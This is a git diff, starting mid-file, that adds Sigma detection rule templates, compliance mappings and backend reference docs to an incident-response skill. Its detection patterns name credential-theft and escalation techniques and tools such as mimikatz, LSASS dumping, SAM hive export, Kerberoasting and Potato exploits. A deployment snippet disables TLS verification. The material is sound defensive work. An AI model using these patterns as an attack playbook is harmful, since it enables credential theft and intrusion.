'\Confidential\' +# tags: +# - iso27001.a.9.4.1 diff --git a/skills/incident-response/detection-sigma/assets/compliance-rules/nist-800-53-audit.yml b/skills/incident-response/detection-sigma/assets/compliance-rules/nist-800-53-audit.yml new file mode 100644 index 0000000..5911ecc --- /dev/null +++ b/skills/incident-response/detection-sigma/assets/compliance-rules/nist-800-53-audit.yml @@ -0,0 +1,98 @@ +title: NIST 800-53 AU-2/AU-12 - Audit Event Generation +id: GENERATE-NEW-UUID +status: stable +description: | + Implements NIST SP 800-53 Rev. 5 audit event generation requirements. + Monitors security-relevant events as defined in AU-2 (Audit Events) and + AU-12 (Audit Generation) controls. +references: + - https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final +author: Your Name +date: 2024/01/20 +modified: 2024/01/20 +tags: + - nist-800-53.au-2 # Audit Events + - nist-800-53.au-3 # Content of Audit Records + - nist-800-53.au-12 # Audit Generation + - nist-800-53.ac-2 # Account Management + - nist-800-53.ia-2 # Identification and Authentication +logsource: + category: authentication + product: windows +detection: + selection_authentication: + EventID: + - 4624 # Successful logon + - 4625 # Failed logon + - 4634 # Logoff + - 4648 # Logon using explicit credentials + selection_account_mgmt: + EventID: + - 4720 # Account created + - 4722 # Account enabled + - 4723 # Password change attempted + - 4724 # Password reset + - 4725 # Account disabled + - 4726 # Account deleted + - 4738 # Account modified + selection_privilege_use: + EventID: + - 4672 # Special privileges assigned + - 4673 # Sensitive privilege use + - 4674 # Privileged operation + condition: selection_authentication or selection_account_mgmt or selection_privilege_use +falsepositives: + - None - these are required audit events per NIST 800-53 +level: low # Informational logging +fields: + - EventTime + - EventType + - Outcome + - SubjectIdentity + - ObjectIdentity + - SourceAddress + +# NIST 800-53 Rev. 5 Audit Requirements: +# +# AU-2: Audit Events +# - Successful and unsuccessful account logon events +# - Account management events +# - Object access +# - Policy change +# - Privilege functions +# - Process tracking +# - System events +# +# AU-3: Content of Audit Records +# Required fields in each audit record: +# - Date and time of the event +# - Component where event occurred +# - Type of event +# - User/subject identity +# - Outcome (success/failure) +# +# AU-12: Audit Generation +# - Provide audit record generation for defined events +# - Allow authorized users to select events to be audited +# - Generate audit records for events with required content +# +# Additional NIST 800-53 Detection Rules: +# +# SI-4: System Monitoring +# logsource: +# category: process_creation +# detection: +# selection: +# CommandLine|contains: +# - 'mimikatz' +# - 'credential dump' +# tags: +# - nist-800-53.si-4 +# +# AC-6: Least Privilege +# detection: +# selection: +# EventID: 4672 # Special privileges assigned +# PrivilegeList|contains: 'SeDebugPrivilege' +# tags: +# - nist-800-53.ac-6 diff --git a/skills/incident-response/detection-sigma/assets/compliance-rules/pci-dss-monitoring.yml b/skills/incident-response/detection-sigma/assets/compliance-rules/pci-dss-monitoring.yml new file mode 100644 index 0000000..6170667 --- /dev/null +++ b/skills/incident-response/detection-sigma/assets/compliance-rules/pci-dss-monitoring.yml @@ -0,0 +1,72 @@ +title: PCI-DSS 10.2 - Audit Trail Monitoring +id: GENERATE-NEW-UUID +status: stable +description: | + Implements PCI-DSS requirement 10.2 automated audit trails for security events. + Monitors critical security-relevant events required by PCI-DSS. +references: + - https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf +author: Your Name +date: 2024/01/20 +modified: 2024/01/20 +tags: + - pci-dss.10.2.1 # Access to cardholder data + - pci-dss.10.2.2 # Administrative actions + - pci-dss.10.2.4 # Invalid access attempts + - pci-dss.10.2.5 # Authentication mechanism use + - pci-dss.10.2.7 # System-level object creation/deletion +logsource: + category: authentication # Adjust based on specific requirement + product: windows +detection: + selection_failed_logon: + EventID: 4625 # Failed logon (10.2.4) + selection_admin_logon: + EventID: 4624 # Successful logon + TargetUserName|contains: # Administrative accounts (10.2.2) + - 'admin' + - 'Administrator' + selection_account_mgmt: + EventID: # Account management (10.2.5, 10.2.7) + - 4720 # Account created + - 4722 # Account enabled + - 4724 # Password reset + - 4726 # Account deleted + - 4738 # Account changed + condition: selection_failed_logon or selection_admin_logon or selection_account_mgmt +falsepositives: + - Legitimate administrative activity must be logged per PCI-DSS +level: medium +fields: + - ComputerName + - TargetUserName + - WorkstationName + - IpAddress + - Timestamp + +# PCI-DSS 10.2 Requirements: +# +# 10.2.1 - All individual user accesses to cardholder data +# 10.2.2 - All actions taken by individuals with root or administrative privileges +# 10.2.3 - Access to all audit trails +# 10.2.4 - Invalid logical access attempts +# 10.2.5 - Use of identification and authentication mechanisms +# 10.2.6 - Initialization of audit logs +# 10.2.7 - Creation and deletion of system-level objects +# +# Additional PCI-DSS Detection Rules: +# +# File Access to Cardholder Data (10.2.1): +# logsource: +# category: file_event +# detection: +# selection: +# TargetFilename|contains: '\cardholder-data\' +# +# Service Creation (10.2.7): +# logsource: +# category: process_creation +# detection: +# selection: +# Image|endswith: '\sc.exe' +# CommandLine|contains: 'create' diff --git a/skills/incident-response/detection-sigma/assets/rule-templates/credential-access.yml b/skills/incident-response/detection-sigma/assets/rule-templates/credential-access.yml new file mode 100644 index 0000000..0ef16b6 --- /dev/null +++ b/skills/incident-response/detection-sigma/assets/rule-templates/credential-access.yml @@ -0,0 +1,73 @@ +title: Credential Access via [TECHNIQUE] +id: GENERATE-NEW-UUID +status: experimental +description: Detects credential theft/dumping using [specific technique/tool] +references: + - https://attack.mitre.org/tactics/TA0006/ +author: Your Name +date: 2024/01/20 +modified: 2024/01/20 +tags: + - attack.credential_access + - attack.t1003 # Replace with specific technique +logsource: + category: process_creation + product: windows +detection: + selection: + # Define your detection criteria + condition: selection +falsepositives: + - Legitimate password reset tools + - Security assessment tools (authorized) +level: critical +fields: + - User + - CommandLine + - TargetImage + - GrantedAccess + +# Common Credential Access Techniques: +# +# T1003.001 - LSASS Memory Dump +# logsource: +# category: process_access +# detection: +# selection: +# TargetImage|endswith: '\lsass.exe' +# GrantedAccess|contains: +# - '0x1010' +# - '0x1410' +# - '0x147a' +# - '0x143a' +# +# T1003.002 - Security Account Manager (SAM) +# detection: +# selection: +# Image|endswith: '\reg.exe' +# CommandLine|contains|all: +# - 'save' +# - 'HKLM\SAM' +# +# T1558.003 - Kerberoasting +# logsource: +# category: authentication +# detection: +# selection: +# EventID: 4769 +# ServiceName: '*$' +# TicketEncryptionType: '0x17' +# +# T1110 - Brute Force +# detection: +# selection: +# EventID: 4625 # Failed logon +# condition: selection | count(TargetUserName) by SourceIp > 10 +# +# T1555 - Credentials from Password Stores +# detection: +# selection: +# Image|endswith: +# - '\vaultcmd.exe' +# - '\cmdkey.exe' +# CommandLine|contains: '/list' diff --git a/skills/incident-response/detection-sigma/assets/rule-templates/lateral-movement.yml b/skills/incident-response/detection-sigma/assets/rule-templates/lateral-movement.yml new file mode 100644 index 0000000..103b260 --- /dev/null +++ b/skills/incident-response/detection-sigma/assets/rule-templates/lateral-movement.yml @@ -0,0 +1,69 @@ +title: Lateral Movement via [TECHNIQUE] +id: GENERATE-NEW-UUID +status: experimental +description: Detects lateral movement activity using [specific technique/tool] +references: + - https://attack.mitre.org/tactics/TA0008/ +author: Your Name +date: 2024/01/20 +modified: 2024/01/20 +tags: + - attack.lateral_movement + - attack.t1021 # Replace with specific technique +logsource: + category: process_creation # or network_connection, authentication + product: windows +detection: + selection: + # Define your detection criteria + # Examples: + # ParentImage|endswith: '\services.exe' + # CommandLine|contains: 'psexec' + # LogonType: 3 # Network logon + filter_legitimate: + # Add filters for known false positives + # User|contains: 'SVC_' + condition: selection and not filter_legitimate +falsepositives: + - Legitimate administrative activity + - Scheduled tasks + - IT operations +level: high +fields: + - ComputerName + - User + - SourceIp + - DestinationIp + - CommandLine + +# Common Lateral Movement Techniques: +# +# T1021.001 - Remote Desktop Protocol (RDP) +# detection: +# selection: +# EventID: 4624 +# LogonType: 10 # RemoteInteractive +# +# T1021.002 - SMB/Windows Admin Shares +# detection: +# selection: +# EventID: 5140 +# ShareName|endswith: +# - 'ADMIN$' +# - 'C$' +# +# T1021.006 - Windows Remote Management (WinRM) +# detection: +# selection: +# EventID: 4624 +# LogonType: 3 +# AuthenticationPackageName: 'Negotiate' +# ProcessName|endswith: '\wsmprovhost.exe' +# +# T1550.002 - Pass the Hash +# detection: +# selection: +# EventID: 4624 +# LogonType: 3 +# LogonProcessName: 'NtLmSsp' +# AuthenticationPackageName: 'NTLM' diff --git a/skills/incident-response/detection-sigma/assets/rule-templates/persistence.yml b/skills/incident-response/detection-sigma/assets/rule-templates/persistence.yml new file mode 100644 index 0000000..c49ce47 --- /dev/null +++ b/skills/incident-response/detection-sigma/assets/rule-templates/persistence.yml @@ -0,0 +1,68 @@ +title: Persistence Mechanism via [TECHNIQUE] +id: GENERATE-NEW-UUID +status: experimental +description: Detects persistence establishment using [specific technique] +references: + - https://attack.mitre.org/tactics/TA0003/ +author: Your Name +date: 2024/01/20 +modified: 2024/01/20 +tags: + - attack.persistence + - attack.t1053 # Replace with specific technique +logsource: + category: process_creation # or registry_event, file_event + product: windows +detection: + selection: + # Define your detection criteria + condition: selection +falsepositives: + - Software installation + - System updates + - Legitimate scheduled tasks +level: medium +fields: + - User + - CommandLine + - Image + - TargetObject + +# Common Persistence Techniques: +# +# T1053.005 - Scheduled Task +# logsource: +# category: process_creation +# detection: +# selection: +# Image|endswith: '\schtasks.exe' +# CommandLine|contains: '/create' +# +# T1547.001 - Registry Run Keys / Startup Folder +# logsource: +# category: registry_event +# detection: +# selection: +# TargetObject|contains: +# - '\Software\Microsoft\Windows\CurrentVersion\Run' +# - '\Software\Microsoft\Windows\CurrentVersion\RunOnce' +# +# T1543.003 - Windows Service +# detection: +# selection: +# Image|endswith: '\sc.exe' +# CommandLine|contains: 'create' +# +# T1547.004 - Winlogon Helper DLL +# logsource: +# category: registry_event +# detection: +# selection: +# TargetObject|contains: +# - '\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit' +# - '\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell' +# +# T1136.001 - Create Account (Local Account) +# detection: +# selection: +# EventID: 4720 # User account created diff --git a/skills/incident-response/detection-sigma/assets/rule-templates/privilege-escalation.yml b/skills/incident-response/detection-sigma/assets/rule-templates/privilege-escalation.yml new file mode 100644 index 0000000..e52e75a --- /dev/null +++ b/skills/incident-response/detection-sigma/assets/rule-templates/privilege-escalation.yml @@ -0,0 +1,65 @@ +title: Privilege Escalation via [TECHNIQUE] +id: GENERATE-NEW-UUID +status: experimental +description: Detects privilege escalation attempts using [specific technique] +references: + - https://attack.mitre.org/tactics/TA0004/ +author: Your Name +date: 2024/01/20 +modified: 2024/01/20 +tags: + - attack.privilege_escalation + - attack.t1068 # Replace with specific technique +logsource: + category: process_creation + product: windows +detection: + selection: + # Define your detection criteria + # IntegrityLevel: 'High' + # ParentIntegrityLevel: 'Medium' + condition: selection +falsepositives: + - Legitimate software updates + - System administration tools +level: high +fields: + - User + - IntegrityLevel + - CommandLine + - ParentImage + +# Common Privilege Escalation Techniques: +# +# T1055 - Process Injection +# detection: +# selection: +# EventID: 8 # CreateRemoteThread +# TargetImage|endswith: +# - '\lsass.exe' +# - '\explorer.exe' +# +# T1134 - Access Token Manipulation +# detection: +# selection: +# EventID: 4703 # Token adjusted +# EnabledPrivilegeList|contains: +# - 'SeDebugPrivilege' +# - 'SeTakeOwnershipPrivilege' +# +# T1548.002 - Bypass User Account Control +# detection: +# selection: +# ParentImage|endswith: +# - '\fodhelper.exe' +# - '\eventvwr.exe' +# IntegrityLevel: 'High' +# ParentIntegrityLevel: 'Medium' +# +# T1068 - Exploitation for Privilege Escalation +# detection: +# selection: +# CommandLine|contains: +# - 'JuicyPotato' +# - 'PrintSpoofer' +# - 'GodPotato' diff --git a/skills/incident-response/detection-sigma/references/backend-support.md b/skills/incident-response/detection-sigma/references/backend-support.md new file mode 100644 index 0000000..68f49d2 --- /dev/null +++ b/skills/incident-response/detection-sigma/references/backend-support.md @@ -0,0 +1,390 @@ +# Sigma Backend Support Reference + +## Supported SIEM/Security Platforms + +### Splunk + +**Backend**: `splunk` + +**Query Language**: SPL (Search Processing Language) + +**Installation**: +```bash +pip install pysigma-backend-splunk +``` + +**Conversion Example**: +```bash +python scripts/sigma_convert.py rule.yml --backend splunk +``` + +**Output Format**: +```spl +index=windows EventID=4688 Image="*\\powershell.exe" CommandLine IN ("*-enc*", "*-EncodedCommand*", "*FromBase64String*") +``` + +**Deployment**: +- Save as saved search via Splunk Web UI +- Deploy via REST API: `/servicesNS/-/-/saved/searches` +- Use Splunk Enterprise Security correlation rules + +**Field Mappings**: +- Sigma `Image` → Splunk `Image` (Sysmon) +- Sigma `CommandLine` → Splunk `CommandLine` +- Sigma `User` → Splunk `User` + +### Elasticsearch + +**Backend**: `elasticsearch` or `elastic` + +**Query Language**: Elasticsearch Query DSL / Lucene + +**Installation**: +```bash +pip install pysigma-backend-elasticsearch +``` + +**Conversion Example**: +```bash +python scripts/sigma_convert.py rule.yml --backend elasticsearch +``` + +**Output Format**: +```json +{ + "query": { + "bool": { + "must": [ + {"wildcard": {"Image": "*\\powershell.exe"}}, + {"terms": {"CommandLine": ["-enc", "-EncodedCommand"]}} + ] + } + } +} +``` + +**Deployment**: +- Elastic Security Detection Rules +- Kibana Saved Searches +- ElastAlert rules + +**Field Mappings** (ECS - Elastic Common Schema): +- Sigma `Image` → ECS `process.executable` +- Sigma `CommandLine` → ECS `process.command_line` +- Sigma `User` → ECS `user.name` + +### Microsoft Sentinel (Azure Sentinel) + +**Backend**: `sentinel` or `kusto` + +**Query Language**: KQL (Kusto Query Language) + +**Installation**: +```bash +pip install pysigma-backend-microsoft365defender +``` + +**Conversion Example**: +```bash +python scripts/sigma_convert.py rule.yml --backend sentinel +``` + +**Output Format**: +```kql +SecurityEvent +| where EventID == 4688 +| where ProcessName endswith "\\powershell.exe" +| where CommandLine contains "-enc" or CommandLine contains "-EncodedCommand" +``` + +**Deployment**: +- Azure Sentinel Analytics Rules +- Deploy via ARM templates +- Use Azure Sentinel API + +**Field Mappings**: +- Sigma `Image` → Sentinel `ProcessName` +- Sigma `CommandLine` → Sentinel `CommandLine` +- Sigma `User` → Sentinel `AccountName` + +### IBM QRadar + +**Backend**: `qradar` or `aql` + +**Query Language**: AQL (Ariel Query Language) + +**Installation**: +```bash +pip install pysigma-backend-qradar +``` + +**Conversion Example**: +```bash +python scripts/sigma_convert.py rule.yml --backend qradar +``` + +**Output Format**: +```sql +SELECT * FROM events WHERE LOGSOURCETYPENAME(devicetype) = 'Microsoft Windows Security Event Log' +AND "EventID" = '4688' +AND "Image" ILIKE '%\\powershell.exe' +``` + +**Deployment**: +- QRadar Custom Rules +- Deploy via QRadar API +- AQL searches + +### Elastic Security (EQL) + +**Backend**: `eql` + +**Query Language**: EQL (Event Query Language) + +**Conversion Example**: +```bash +python scripts/sigma_convert.py rule.yml --backend eql +``` + +**Output Format**: +```eql +process where process.name == "powershell.exe" and + (process.command_line like~ "*-enc*" or + process.command_line like~ "*-EncodedCommand*") +``` + +**Deployment**: +- Elastic Security Detection Rules +- EQL searches in Kibana + +### Chronicle (Google) + +**Backend**: `chronicle` + +**Query Language**: YARA-L + +**Conversion Example**: +```bash +python scripts/sigma_convert.py rule.yml --backend chronicle +``` + +### Others + +Additional backends available via pySigma plugins: + +- **LimaCharlie**: EDR platform +- **OpenSearch**: Fork of Elasticsearch +- **LogPoint**: SIEM platform +- **ArcSight**: SIEM platform +- **Carbon Black**: EDR platform +- **CrowdStrike**: EDR platform (Falcon) +- **SentinelOne**: EDR platform +- **Datadog**: Cloud monitoring platform +- **Sumo Logic**: Cloud SIEM + +## Backend Installation + +### Core pySigma + +```bash +pip install pysigma +``` + +### Backend Plugins + +```bash +# Splunk +pip install pysigma-backend-splunk + +# Elasticsearch +pip install pysigma-backend-elasticsearch + +# Microsoft 365 Defender / Sentinel +pip install pysigma-backend-microsoft365defender + +# QRadar +pip install pysigma-backend-qradar + +# Multiple backends +pip install pysigma-backend-splunk pysigma-backend-elasticsearch +``` + +## Backend Limitations + +### Field Mapping Gaps + +Some backends may not support all Sigma field modifiers: + +**Issue**: Backend doesn't support regex field modifier `|re` + +**Solution**: +- Use alternative field modifiers (`contains`, `endswith`) +- Implement custom pipeline transformations +- Post-process in SIEM after conversion + +### Unsupported Features + +| Feature | Splunk | Elasticsearch | Sentinel | QRadar | +|---------|--------|---------------|----------|--------| +| Regex | ✓ | ✓ | ✓ | ✓ | +| Base64 decode | Limited | Limited | ✓ | Limited | +| CIDR matching | ✓ | ✓ | ✓ | ✓ | +| Wildcards | ✓ | ✓ | ✓ | ✓ | + +### Data Source Availability + +Not all log sources may be available in all backends: + +**Check availability**: +1. Verify log source is ingested in your SIEM +2. Confirm field mappings match +3. Test converted query with sample data + +## Custom Pipelines + +pySigma supports custom processing pipelines for field transformations: + +```python +from sigma.pipelines.sysmon import sysmon_pipeline +from sigma.backends.splunk import SplunkBackend + +# Apply Sysmon field mappings before conversion +backend = SplunkBackend() +pipeline = sysmon_pipeline() +converted = backend.convert_rule(rule, pipeline) +``` + +## Deployment Automation + +### Splunk Deployment + +```python +import requests + +# Splunk REST API +url = "https://splunk:8089/servicesNS/nobody/search/saved/searches" +auth = ("admin", "password") + +data = { + "name": "Sigma - Suspicious PowerShell", + "search": converted_query, + "description": rule.description, + "cron_schedule": "*/5 * * * *", # Every 5 minutes + "actions": "email", + "action.email.to": "soc@company.com" +} + +response = requests.post(url, auth=auth, data=data, verify=False) +``` + +### Elasticsearch Deployment + +```python +from elasticsearch import Elasticsearch + +es = Elasticsearch(["https://elasticsearch:9200"]) + +# Deploy as Elasticsearch detection rule +rule_doc = { + "name": rule.title, + "description": rule.description, + "query": converted_query, + "severity": rule.level, + "tags": rule.tags +} + +es.index(index="detection-rules", document=rule_doc) +``` + +### Microsoft Sentinel Deployment + +```bash +# ARM template deployment +az sentinel alert-rule create \ + --resource-group myResourceGroup \ + --workspace-name mySentinelWorkspace \ + --rule-name "Sigma - Suspicious PowerShell" \ + --query "$converted_query" \ + --severity Medium \ + --enabled true +``` + +## Testing Converted Queries + +### Splunk + +```spl +# Test in Splunk search +index=windows earliest=-24h +| eval match=case( + Image="*\\powershell.exe" AND (CommandLine LIKE "%enc%" OR CommandLine LIKE "%EncodedCommand%"), "MATCH", + 1=1, "NO MATCH" + ) +| stats count by match +``` + +### Elasticsearch + +```json +POST /winlogbeat-*/_search +{ + "query": { + "bool": { + "must": [ + {"wildcard": {"process.executable": "*\\powershell.exe"}}, + {"terms": {"process.command_line": ["-enc", "-EncodedCommand"]}} + ] + } + } +} +``` + +### Sentinel + +```kql +SecurityEvent +| where TimeGenerated > ago(24h) +| where EventID == 4688 +| where ProcessName endswith "\\powershell.exe" +| summarize count() by bin(TimeGenerated, 1h) +``` + +## Troubleshooting + +### Conversion Fails + +**Error**: `Unsupported field modifier for backend` + +**Solution**: +```bash +# Use debug mode to see detailed error +python scripts/sigma_convert.py rule.yml --backend splunk --debug +``` + +Check `references/field-modifiers.md` for backend compatibility. + +### Query Doesn't Return Expected Results + +**Steps**: +1. Verify log source is ingested +2. Check field name mappings +3. Test with known-positive sample +4. Validate field value case sensitivity +5. Check time range in query + +### Performance Issues + +Large, complex queries may impact SIEM performance: + +**Optimization**: +- Add index/sourcetype filters early +- Use specific time ranges +- Optimize field modifiers (prefer exact match over regex) +- Test query performance before deployment + +## Resources + +- [pySigma Documentation](https://github.com/SigmaHQ/pySigma) +- [pySigma Backend Plugins](https://github.com/SigmaHQ/pySigma/blob/main/Backends.md) +- [Sigma Converter Web Tool](https://sigconverter.io/) +- [Sigma GitHub Repository](https://github.com/SigmaHQ/sigma) diff --git a/skills/incident-response/detection-sigma/references/compliance-mappings.md b/skills/incident-response/detection-sigma/references/compliance-mappings.md new file mode 100644 index 0000000..22ff5a0 --- /dev/null +++ b/skills/incident-response/detection-sigma/references/compliance-mappings.md @@ -0,0 +1,361 @@ +# Compliance Framework Mappings for Sigma Detection Rules + +## PCI-DSS v3.2.1 + +### Requirement 10.2 - Implement automated audit trails + +#### 10.2.1 - Access to cardholder data + +**Detection Requirements**: Monitor all access to cardholder data environments + +**Sigma Tags**: `pci-dss.10.2.1` + +**Example Rules**: +- File access to cardholder data locations +- Database queries accessing payment card fields +- Application logs showing cardholder data retrieval + +```yaml +tags: + - pci-dss.10.2.1 +logsource: + category: file_event +detection: + selection: + TargetFilename|contains: '\cardholder-data\' +``` + +#### 10.2.2 - All actions taken by any individual with root or administrative privileges + +**Sigma Tags**: `pci-dss.10.2.2` + +**Example Rules**: +- Privileged account usage +- sudo/runas commands +- Administrative actions on critical systems + +```yaml +tags: + - pci-dss.10.2.2 +logsource: + category: process_creation +detection: + selection: + User|contains: 'admin' +``` + +#### 10.2.4 - Invalid logical access attempts + +**Sigma Tags**: `pci-dss.10.2.4` + +**Example Rules**: +- Failed authentication attempts +- Account lockouts +- Access denied events + +```yaml +tags: + - pci-dss.10.2.4 +logsource: + category: authentication +detection: + selection: + EventID: 4625 # Failed logon +``` + +#### 10.2.5 - Use of identification and authentication mechanisms + +**Sigma Tags**: `pci-dss.10.2.5` + +**Example Rules**: +- Account creation/deletion/modification +- Password changes +- Multi-factor authentication events + +```yaml +tags: + - pci-dss.10.2.5 +logsource: + category: authentication +detection: + selection: + EventID: + - 4720 # Account created + - 4724 # Password reset +``` + +#### 10.2.7 - Creation and deletion of system-level objects + +**Sigma Tags**: `pci-dss.10.2.7` + +**Example Rules**: +- System service creation +- Scheduled task creation +- New user account creation + +```yaml +tags: + - pci-dss.10.2.7 +logsource: + category: process_creation +detection: + selection: + Image|endswith: '\sc.exe' + CommandLine|contains: 'create' +``` + +## NIST SP 800-53 Rev. 5 + +### AU-2 - Event Logging + +**Controls**: Organization defines auditable events + +**Sigma Tags**: `nist-800-53.au-2` + +**Coverage**: +- Security-relevant events +- Success and failure of events +- Actions by privileged users + +### AU-3 - Content of Audit Records + +**Controls**: Audit records contain sufficient information + +**Sigma Tags**: `nist-800-53.au-3` + +**Required Fields**: +- Event type, date/time, outcome +- Subject identity, object identity +- Data source + +### AU-6 - Audit Review, Analysis, and Reporting + +**Controls**: Review and analyze audit records + +**Sigma Tags**: `nist-800-53.au-6` + +**Detection Focus**: +- Automated scanning for anomalies +- Correlation of audit records +- Investigation and reporting + +### AU-12 - Audit Generation + +**Controls**: System provides audit record generation + +**Sigma Tags**: `nist-800-53.au-12` + +**Coverage**: +- Generate audit records for defined events +- Allow authorized users to select auditable events +- Privileged commands + +### SI-4 - System Monitoring + +**Controls**: Monitor the system to detect attacks and indicators + +**Sigma Tags**: `nist-800-53.si-4` + +**Detection Coverage**: +- Unauthorized access attempts +- Unauthorized use of privileges +- Malicious code detection + +```yaml +tags: + - nist-800-53.si-4 + - nist-800-53.au-12 +logsource: + category: process_creation +detection: + selection: + CommandLine|contains: 'mimikatz' +``` + +### AC-2 - Account Management + +**Controls**: Account creation, modification, removal + +**Sigma Tags**: `nist-800-53.ac-2` + +**Example Rules**: +- Account lifecycle events +- Privileged account monitoring +- Account attribute changes + +### IA-2 - Identification and Authentication + +**Controls**: Uniquely identify and authenticate users + +**Sigma Tags**: `nist-800-53.ia-2` + +**Example Rules**: +- Multi-factor authentication +- Authentication failures +- Session management + +## ISO/IEC 27001:2013 + +### A.12.4.1 - Event logging + +**Control**: Event logs recording user activities, exceptions, and security events + +**Sigma Tags**: `iso27001.a.12.4.1` + +**Requirements**: +- User IDs +- System activities +- Date, time, and details of key events +- Device identity or location +- Records of successful and rejected system access attempts + +```yaml +tags: + - iso27001.a.12.4.1 +logsource: + category: authentication +detection: + selection: + EventID: + - 4624 # Successful logon + - 4625 # Failed logon +``` + +### A.12.4.2 - Protection of log information + +**Control**: Logging facilities and log information protected + +**Sigma Tags**: `iso27001.a.12.4.2` + +**Detection Focus**: +- Unauthorized access to logs +- Log deletion or modification +- Log integrity violations + +### A.12.4.3 - Administrator and operator logs + +**Control**: System administrator and operator activities logged + +**Sigma Tags**: `iso27001.a.12.4.3` + +**Example Rules**: +- Privileged command execution +- System configuration changes +- Administrative access + +```yaml +tags: + - iso27001.a.12.4.3 +logsource: + category: process_creation +detection: + selection: + User|contains: + - 'admin' + - 'root' +``` + +### A.9.2.1 - User registration and de-registration + +**Control**: Account management processes + +**Sigma Tags**: `iso27001.a.9.2.1` + +**Example Rules**: +- Account creation +- Account deletion +- Account modification + +### A.9.4.1 - Information access restriction + +**Control**: Access to information and systems restricted + +**Sigma Tags**: `iso27001.a.9.4.1` + +**Detection Focus**: +- Unauthorized access attempts +- Privilege escalation +- Access control violations + +## SOC 2 Trust Service Criteria + +### CC6.1 - Logical and Physical Access Controls + +**Criteria**: Restrict access to authorized users + +**Detection Coverage**: +- Authentication monitoring +- Authorization violations +- Privileged access usage + +### CC7.2 - System Monitoring + +**Criteria**: Monitor system components + +**Detection Coverage**: +- Security event monitoring +- Anomaly detection +- Threat detection + +### CC7.3 - Evaluation and Response + +**Criteria**: Evaluate events and respond + +**Detection Focus**: +- Security incident detection +- Alert generation and escalation +- Response actions + +## Tag Format + +Use this format for compliance tags: + +```yaml +tags: + - {framework}.{control-id} +``` + +**Examples**: +```yaml +tags: + - pci-dss.10.2.5 + - nist-800-53.au-2 + - iso27001.a.12.4.1 +``` + +## Multi-Framework Mapping + +Rules can map to multiple frameworks: + +```yaml +title: Failed Authentication Monitoring +tags: + - attack.credential_access + - attack.t1110 + - pci-dss.10.2.4 + - pci-dss.10.2.5 + - nist-800-53.au-2 + - nist-800-53.au-12 + - nist-800-53.ia-2 + - iso27001.a.12.4.1 + - iso27001.a.9.2.1 +``` + +## Compliance Coverage Analysis + +Use `compliance_coverage.py` script to analyze rule coverage: + +```bash +# Analyze PCI-DSS coverage +python scripts/compliance_coverage.py --directory rules/ --framework pci-dss + +# Generate coverage report +python scripts/compliance_coverage.py --directory rules/ --framework nist-800-53 --report coverage.md +``` + +## Resources + +- [PCI DSS v3.2.1](https://www.pcisecuritystandards.org/) +- [NIST SP 800-53 Rev. 5](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final) +- [ISO/IEC 27001:2013](https://www.iso.org/standard/54534.html) +- [SOC 2 Trust Service Criteria](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/trust-services-criteria) diff --git a/skills/incident-response/detection-sigma/references/field-modifiers.md b/skills/incident-response/detection-sigma/references/field-modifiers.md new file mode 100644 index 0000000..0d32c71 --- /dev/null +++ b/skills/incident-response/detection-sigma/references/field-modifiers.md @@ -0,0 +1,426 @@ +# Sigma Field Modifiers Reference + +## Overview + +Field modifiers transform field values during rule matching. Use pipe `|` syntax to apply modifiers to field names. + +**Syntax**: `FieldName|modifier: value` + +## String Modifiers + +### contains + +**Description**: Case-insensitive substring match + +**Usage**: +```yaml +detection: + selection: + CommandLine|contains: 'powershell' +``` + +**Matches**: +- `C:\Windows\System32\WindowsPowerShell\powershell.exe -enc` +- `powershell -command "iex"` +- `POWERSHELL.EXE` + +**Backend Support**: All backends + +### startswith + +**Description**: Case-insensitive prefix match + +**Usage**: +```yaml +detection: + selection: + CommandLine|startswith: 'powershell' +``` + +**Matches**: +- `powershell -enc AAAA` +- `PowerShell.exe -command` + +**Does Not Match**: +- `C:\Windows\System32\powershell.exe` + +**Backend Support**: All backends + +### endswith + +**Description**: Case-insensitive suffix match + +**Usage**: +```yaml +detection: + selection: + Image|endswith: '\powershell.exe' +``` + +**Matches**: +- `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe` +- `powershell.exe` + +**Backend Support**: All backends + +### all + +**Description**: All values in list must match + +**Usage**: +```yaml +detection: + selection: + CommandLine|contains|all: + - 'powershell' + - '-enc' + - 'FromBase64' +``` + +**Requires**: All three substrings present in CommandLine + +**Backend Support**: Most backends (check specific backend documentation) + +## Regular Expression Modifiers + +### re + +**Description**: Regular expression match + +**Usage**: +```yaml +detection: + selection: + CommandLine|re: 'powershell(.exe)?\s+-enc.*' +``` + +**Matches**: +- `powershell -enc AAAABBBB` +- `powershell.exe -encodedcommand AAAA` + +**Backend Support**: Varies by backend (Splunk ✓, Elasticsearch ✓, Sentinel ✓) + +**Performance Note**: Regex can be slow on large datasets + +### re (with case-insensitive flag) + +**Usage**: +```yaml +detection: + selection: + CommandLine|re: '(?i)powershell.*-enc' +``` + +## Encoding Modifiers + +### base64 + +**Description**: Match base64-encoded value + +**Usage**: +```yaml +detection: + selection: + CommandLine|base64|contains: 'Invoke-Mimikatz' +``` + +**How it works**: Encodes search string to base64 before matching + +**Encoded Value**: `SW52b2tlLU1pbWlrYXR6` + +**Backend Support**: Limited (check backend documentation) + +### base64offset + +**Description**: Match base64 with offset variations + +**Usage**: +```yaml +detection: + selection: + CommandLine|base64offset|contains: 'Invoke-Mimikatz' +``` + +**Why**: Base64 encoding can vary based on string position. This checks all offset variations. + +**Generates**: +- `SW52b2tlLU1pbWlrYXR6` +- `ludm9rZS1NaW1pa2F0e` +- `JbnZva2UtTWltaWthdH` + +**Backend Support**: Limited + +### wide + +**Description**: Match UTF-16 wide character encoding + +**Usage**: +```yaml +detection: + selection: + FileContent|wide|contains: 'malicious' +``` + +**Encoded**: `m\x00a\x00l\x00i\x00c\x00i\x00o\x00u\x00s\x00` + +## Case Modifiers + +### (default - case insensitive) + +**Description**: By default, Sigma matches are case-insensitive + +**Usage**: +```yaml +detection: + selection: + CommandLine|contains: 'powershell' # Matches PowerShell, POWERSHELL, etc. +``` + +## Type Conversion Modifiers + +### lt / lte / gt / gte + +**Description**: Numeric comparison (less than, less/equal, greater than, greater/equal) + +**Usage**: +```yaml +detection: + selection: + EventID|gte: 4624 + EventID|lte: 4634 +``` + +**Backend Support**: Most backends + +## Aggregation Modifiers (in condition) + +### count + +**Description**: Count occurrences + +**Usage**: +```yaml +detection: + selection: + EventID: 4625 # Failed logon + condition: selection | count(TargetUserName) by SourceIp 